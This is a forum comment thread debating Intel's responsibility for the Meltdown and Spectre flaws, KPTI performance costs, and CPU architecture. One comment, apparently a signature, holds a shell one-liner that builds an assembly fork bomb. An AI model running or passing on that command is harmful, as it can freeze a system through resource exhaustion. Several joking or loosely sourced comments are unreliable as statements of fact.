Not to mention that your carefully performance-balanced server loads need to be re-engineered around this unpredictable new performance sink-hole. KPTI is not as simple as a CPU microcode update (which also has performance implications, though not usually broad and severe).
This whole mindset of "a patch, is a patch, is a patch" coincides with faulty logic in OS hardening. You see this opinion all the time that an attack mitigation that can be easily worked around isn't worth implementing.
That's the non-metabolic view.
The metabolic view is that every extra difficulty adds complexity to carrying out a successful attack. When we are trying to build something constructive, difficulty scales exponentially in the size of the specification, as we all know. When we are tying to build something destructive (a root kit), this same scaling term is now magically rendered sub-linear. (There might actually be a grain of truth here, due to the inherent asymmetry of success and failure, but that should hardly be taken for granted.)
We try to stack up ASLR and sundry related obstacles to tilt the balance in our favour, then along comes Intel, who dumps a permanent burden on the white hat side of the fence.
How many hundreds of millions of devices out there are never going to receive a patched OS that's compatible with the existing, validated device configuration?
Well, of course, the newest version of the OS is a strict superset of the old OS (though MacOS is not included on this list by virtue of superior Design), and you should stay up to date anyway.
I've been in this industry since the 8080. Enough already with the Stockholm syndrome.
Just imagine Boeing retrofitting your turbo fan with 20% less maximal thrust due to faulty wing design. So the airlines need to stop flying Boeing into Denver on hot days? (Surely your air service scheduling system can manage one more tiny constraint.) What's the big deal? Problem solved.
Comment removed based on user account deletion
...I would not be surprised to see advocacy for alternative architectures from those circles, be that AMD or ARM.
Theo can now rightly say that Intel design flaws will have 0-day impacts on OpenBSD that are beyond his control.
If Intel are not going to supply paid replacements at reasonable cost, then I expect them to be forced to supply for free all necessary info to anyone else who wishes to make and sell replacements to me on pain of jailing every single shareholder.
You were being more or less reasonable up until that last sentence. Then you took a sharp left towards Crazytown. Intel isn't going to be forced to give up their trade secrets or intellectual property and their shareholders certainly aren't going to jail because you are having a temper tantrum. They aren't going to replace every processor made in the last 20 years nor are they going to even try because it would be impossible. At most you might get a small financial settlement through a class action suit. That's reality and I suggest you start dealing with it.
If they are not willing to co-operate with their customers in producing an equitable fix, the whole lot of them are guilty of unjust enrichment, obtaining pecuniary advantage by deception, fraud, conspiracy to defraud, and anything else a bunch of greedy corporate lawyers can invent.
There is absolutely no evidence that fraud was involved because there was no evidence of intent to deceive. It was to all appearances an honest (albeit serious) error. Therefore by definition it isn't fraud,deception or any of the other words you so casually tossed out there. They may have some product liability but it isn't going to result in jail time for anyone unless there is information we don't yet know.
If Intel goes bust as a result of this, we can expect the official receiver to sell off the patents to someone who will sell us cheaper and more reliable processors (probably not Cyrix).
Intel isn't going anywhere. If companies like VW and BP don't get the death penalty for actual provable fraud, Intel certainly isn't going to see much more than a slap on the wrist.
How is this different (aside from magnitude/number of units sold) from Takata's airbag recall?
Nobody is going to die from this mistake. Pretty big and important difference there. Product defects that result in actual provable fatalities tend to get a lot more scrutiny.
I suspect a recall this large would bankrupt Intel, much like the airbag recall is bankrupting Takata.
Won't happen and while this is a serious issue, it isn't THAT serious. I expect Intel will pay some cash to settle some class action lawsuits (and so will some other chipmakers) but that's probably about as far as it will go unless there are revelations we haven't heard yet.
Bullshit you say, and yet it's only Intel and a few, comparatively insignificant ARM chips which are affected by meltdown, which btw, was what Linus was referring to.
Ye, because Intel patented the technique and didn't license it to anyone else.
I can only presume AMD is an imaginary entity in your little world, because they apparently managed to solve all these impossible problems without handing out the keys to the kingdom to everyone who asked for them.
Nope, AMD pays a higher penalty on system calls, though they mitigate this to some extent by having shorter and narrower pipelines.
I am TheRaven on Soylent News
I'm inclined to agree. Perhaps the CPU engineer could have foreseen prediction leaks, but so too could the OS devs have foreseen problems sharing address space. Why was there not already a KPTI switch?
There's plenty of egg to go 'round faces if you ask me.
I'm personally stunned to see the extend of the Intel-bashing. This "bug" has been around for years and everyone was fine. From a QA perspective, the product was (almost) perfect. Now, yes, a bug has been discovered after years ... that's life.
I'm not an Intel fan but seriously, most people don't realize how tricky exploiting this flaw is. Yes, we have a good exploit now and it works remarkably well, which is why it is such a serious issue. But I can't blame Intel for that, except if they knew it was *that* serious and decided to ignore it.
But in every design there is a security risk and you investigate them and you conclude that some are not likely to happen and sometimes, you may be wrong. But this is a really non-trivial problem, and I'm very surprised to see everybody taking this as a "stupid bug" and ranting about Intel problems (which exist for sure but just like in any company).
But if that was such a stupid bug, why did it go unnoticed for years ??? Kudos to the security researchers finding it.
I think you'd be hard pressed to convince US politicians of either party to go full on trustbusters on Intel. Especially as they'll claim they're not a monopoly.
Though they're definitely turning into one
https://www.cpubenchmark.net/m...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
In the case of FDIV, one could point to the IEEE floating point specification (and a hand-calculator) and show that the Intel processor produced a verifiably wrong answer to a divide operation.
There is an explicit set of rules (called this instruction set architecture or ISA) which govern exactly how a given computer is allowed to behave, and the CPU vendors all produced chips which follow those rules.
The ISA says that the memory returned by a load operation is subject to the permissions as setup through the virtual memory protocol, it provides no protection to a malicious person inferring the secret through some other means. They would never provide such a guarantee because there is no known solution to the general problem of 'side-channel communication'.
So, if Intel was looking for a legal solution to avoid paying for a recall--all they have to do is say, "you wanted an x86 ISA chip, that's what you got. caveat emptor". You can't claim they even violated "fitness for a purpose" constraints (in jurisdictions where those protections apply) because these chips are perfectly fit for the purpose of running non-malicious code--and there is basically no known theoretical solution which guarantees containment of malicious code (apart from wiping all implementation state when switching between different threads or something).
Now in practice, Intel (and the other affected manufacturers) are going to do better than throwing their hands up and saying "it's your problem", because there is free market pressure to do so. But they are most likely on firm legal ground in avoiding any sort of massive recall.
But if that was such a stupid bug, why did it go unnoticed for years ??? Kudos to the security researchers finding it.
1.) What is the relationship between time to detection and the level of stupidity necessary to create a bug in the first place?
2.) If a bug gets noticed immediately does that necessarily make it stupid?
3.) If a bug goes unnoticed for some period of time does that necessarily make it not stupid?
Answers:
1 = None
2 = No
3 = No
It is my understanding that Meltdown is Intel only, Spectre affects AMD/ARM/Intel (though not the same impact). I don't believe either of these exploits affect POWER or SPARC. Basically Meltdown is caused by being overly aggressive in that it does not check permissions to access -- until after it has moved it to cache, AMD checks this before. Using this and the ability to get timing information (only really needed for debugging) - a clever algorithm can basically access and piece together kernel (protected data) on the processor from user space processes. To me if one architecture has issues with something and all others don't it leads me to the conclusion that it is an architectural (CPU) design defect.
I am not familiar with the internals of it and it has been a good 30+ years since I have written x86 assembly code (and I am sure it has changed a lot, but they do keep backwards compatibility). Memory segmentation in Intel chips is a legacy that dates back to not being able to address the entire memory space because the limitation of memory being larger than addressable space due to the limitations of 16 bits. The memory had to be addressed by using a segment register and then offset from that register (a segment at that time would be limited to 64K). It was never designed as a way to protect the kernel address space. This memory addressing scheme is both costly and reduced the ability to usefully use the address space. Today 64 bit processors can address 16 exabytes, and the segmentation is a legacy left over from the early days. Use of segmented memory to protect the kernel is IMHO a hack that only serves to duct-tape over the defect and the downside is that it affects performance. I thought most other architectures (that are not affected) -- have flat and not segmented memory?
I don't ask for free replacement, but as someone who has been looking to build a new machine for a couple years, I would now like to know when we can expect new processors that are not venerable to any of these issues.
It is about the protection barrier between the kernel data and user space melting down... Meltdown is as good as any other name.
.... scaring non-techies with technobabble is always fun. Besides, maybe I can convince my non-technical manager that I need a new computer since my old one melted down before the patch was installed.
If some non-techies get the wrong idea -- great -- I can have fun with that
Please stop spreading FUD like that. The only safe way to write software is with rust.
Fact: kernels and user level software written in rust is safe from sphinctr and meltdown attacks. C, C++, even javascript are unsafe. Rust.
Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
Because a proper risk evaluation should have shown that this risk was too high to be acceptable.
Risk can be accepted, there is nothing special about that. When you drive to work in the morning, you implicitly accept the risk of a traffic accident. When a company does business, they accept a lot of risks, because without taking risks you can't do business.
But you evaluate your risks and rate them and any halfway sane evaluation of this risk would've broken even the most aggressive risk acceptance criteria.
Assorted stuff I do sometimes: Lemuria.org
There should be at least some attempt at reparations. Any processor currently being manufactured (3 years or younger) -- you would have the option of opting to get a replacement for the CPU if it is socketed by sending it into Intel (or taking it to a service centre of Intel's choosing to replace) and then getting a fixed CPU (probably timeline at least 9 months). Manufacturers could opt to replace the board at cost with new CPUs for computers that are currently in use. If you opt to keep it you would get a reimbursement of about 25% of the tray price of the CPU - which would be funnelled through manufacturers/retailers.
I think you would find that a small minority would opt to have the CPU replaced or the board replaced -- costing much less than what might be feared. It would however give the impression that the manufacturer (Intel) stands behind their products.
Go is probably safer.
There is no America. There is no democracy. There is only IBM and AT&T and DuPont, Dow, General Electric, and Exxon
is that it didn't use the performance enhancing features other high-end processors did.
RISC-V and most of PPC's books haven't changed in a while. The I use in new product isn't that different than the Power PC G4 I had growing up.
If the e200 cores aren't affected it means that your infotainment system can't spy on something else in your car's ECM.
RTCA/DO-254, Design Assurance Guidance for Airborne Electronic Hardware isn't a small certification / classification. If the PPC e200 cores were affected the US military would take notice.
Then they can use "So safe the US military trusts us for your protection". And if the JSF can use an e200 core the military is going to demand something unaffected for their internal cloud.
Intel cheated for performance
I don't know if you've looked at any processor design since the 386, but they all cheat for performance. 95% of the die area of a modern processor is things that cheat for performance. Most of that is caches, that cheap by pretending that main memory is faster than it really is.
I am TheRaven on Soylent News
And I'd be happy too if you were selling me beef at $0.50/pound. Even if you told me you weren't washing out the containers every single time and those sorts of time savings were why the beef were so cheap. Until, of course, it turns out that people weren't washing their hands and failing to wear gloves all the time.
This isn't some kind of secret thing that Intel does. They announced it with great fanfare in the '90s and had a bunch of tech news articles about how clever it is. None of the people who are now saying 'bad Intel sold me a thing that I didn't know was insecure but they should have done' came forward to say 'no, please don't do this (or at least let us turn it off) because it's probably insecure'. They all said 'Wow, Intel has made system calls cheaper, that's great!'. Including Linus, who I seem to recall complained in the late '90s about how much slower system calls were on AMD than Intel.
PS - STEALTHMEM: System-Level Protection Against Cache-Based Side Channel Attacks in the Cloud [usenix.org] from 2012 and it sounds like much better performance costs compared to KAISER, although not being a security researcher I have no idea if this would be sufficiently to protest against speculative execution as well.
STEALTHMEM is a protection against a different kind of timing attack and wouldn't protect against Meltdown or Spectre. A huge family of similar mitigations have been proposed, which partition the cache for different security domains. The problem with all of them is that they lead to inefficient cache usage: if one process is memory bandwidth limited and the other is CPU-bound, then this will slow down the bandwidth-limited process a lot, whereas sharing the cache would let it run faster without slowing down the CPU-bound one.
In this case, the attacks use a value that is already in the cache to speculatively do something data-dependent that is measurable, letting you determine what that value was even though you shouldn't have access to it. There are a lot of possible side channels that can be used with this general category of attack. The simplest is to do a data-dependent branch to either a location that's in the cache or one that isn't. Alternatively, doing a data-dependent branch to a divide or an add instruction will give you timing data. There are a bunch of Spectre-like attacks that some of the mitigations won't cover.
I am TheRaven on Soylent News
That’s what I was wondering too. Seems too easy for it to leak, whilst most everyone who is actually affected is kept in the dark.
My takeaway message, for me, is that, any secret key or whatever, on a machine which ran newly downloaded and possibly untrusted code, now needs recreating on a fresh system. And it would have been nice to have known that months ago, even if no fix was available.
This is like the old days where the doctor doesn’t inform you of terminal illness, because they think they’re better judge of how to manage you.
Nobody can die from this? What about all those workstations and computers in hospitals that run Intel.
What about them? The odds of this flaw actually resulting in a patient fatality are vanishingly small and there have been ZERO proven instances of harm to any patient of any kind. Compare with numerous known and proven fatalities from Takata airbags. Don't get me wrong, if patients actually are harmed by this it makes it a whole different ballgame but that's simply not what has happened here. You are reaching for hypothetical failure modes that haven't been shown to exist in the real world.
This is another reason I grow weary of replacing humans with computers. We are dumbing down ourselves and allowing computers to take over every task we deem as mundain.
An idiotic argument if I ever heard one. If you think computers and automation are a bad thing, I'd suggest slashdot isn't the place for you to hang out. Go find some Amish people to commiserate with.
Sounds like timing is the thing that doesn't need to cross security boundaries. Timing itself can be inferred.
One of the countermeasures for sandbox environments is to lower the timing resolution but this only lowers the rate at which data can be recovered.
Nope, AMD pays a higher penalty on system calls, though they mitigate this to some extent by having shorter and narrower pipelines.
How is that? Checking for permissions before speculation costs hardware and power but not speculating a path which is not going to be used anyway is hardly going to increase latency and saves the power which would otherwise be used and the cost of any memory transactions.
System calls involve a lot of microcode and other functions so it is not surprising they have a high and different cost between processors.
That meeting there in late 2013 signalled a sea change at Intel to many of us who were there.
Well maybe it was, but these problems predate 2013. Guess the "validation" that was happening in the 18 years between 1995 and 2013 didn't amount to much.
The timeline fits with things Bob Colwell said about changes for the worse in Intel's management just before he left Intel.
"Nobody expects perfection. Just some quality control for the amount paid. "
And support after sale, rather than abandoning the product when it gets "too hard" to handle problems.
The bug I can understand. I am more upset about Intel's disingenuous PR statements which conflate different exploits making it seem that their main competitor is no better.
For once I am happy about Intel's excessive market segmentation; it convinced me to go with AMD after the Pentium 4.
After Vault 7, is very hard to believe that there is a "bug" that allow someone to pull data out of your CPU without leaving a single trace.
> a) ARM is RISC
The Cortex ranges are gathering decidedly unreduced instruction sets.
> b) x86 is CISC only in the instruction set. The processors themselves have had far more in common with RISC processors since the days of the Pentium Pro.
IIRC the original AMD K5 was a wrapped 29050 RISC processor with strapped on FPU (and it ran 50% faster than equivalent Intel CPUs for integer ops, which was what mattered most of the time)
The problem with having a massive instruction set is the increasing risk of errors in the conversion microcode, not all correctable.
Intel CPUs may be RISC at their core but in their quest to try and beat out memory latencies (speculative prereading, etc) they got sloppy and now we're all paying the price.
If DRAM memory latencies were down in single digit nanoseconds for random access we wouldn't be having this entire thread because the insanely long pipelines wouldn't be needed. It's all very well clocking your ram at 3000MHz and getting out 8 words at a time, but when you have to wait a few ten/hundred-thousand CPU clocks for what you asked for, whatever you're doing has to wait too.
Ram has increasingly been the bottleneck for the last decade. At this point we need (affordable) lower latency system ram, not faster SSDs. A large chunk of CPU optimisation and complexity since 2002 has been geared at getting around unshortenable latencies. You can only get so far ahead of yourself before the wheels fall off.
No existing RISC-V designs are susceptible to Spectre. There's nothing in the RISC-V ISA that makes it magically immune to Spectre. If someone implements a RISC-V CPU that has speculative execution and caches, then it's open to Spectre-class attacks, unless specific (expensive) steps are taken to block them.
Some ARM CPUs have Spectre vulnerabilities. Others do not, and the ARM whitepaper on Spectre describes the mitigations they've already designed for the Spectre variants described in the original Spectre paper.
No non-Intel CPUs are susceptible to Meltdown, as far as I've seen; Meltdown is a specific design error, allowing speculative loads across privilege boundaries, while Spectre is a family of issues with speculative execution and side channels.
RISC started the concept of Branch Prediction
It's not clear to me what you mean by this. I believe DEC filed the first branch-prediction patent, in 1989; that was for the Alpha, which was indeed a RISC CPU (back when the RISC/CISC distinction was still useful). But you seem to be implying that has some relationship to RISC-V, which is far from clear. All but the smallest modern general-purpose CPUs use speculative execution, including branch prediction.
CISC CPUs don't really exist in modern computing
IBM's z is arguably still a CISC architecture. Mostly it does the CISC-ISA-decoded-to-RISC-micro-ops dance, but the execution cores still contain a fairly complicated set of features, such as FPUs for both binary and decimal operands.
Really, though, the RISC-CISC dichotomy no longer makes much sense, which I take to be the force of your point. And while z is still important in business computing, and a cash cow, it's a niche architecture compared to x86 or ARM.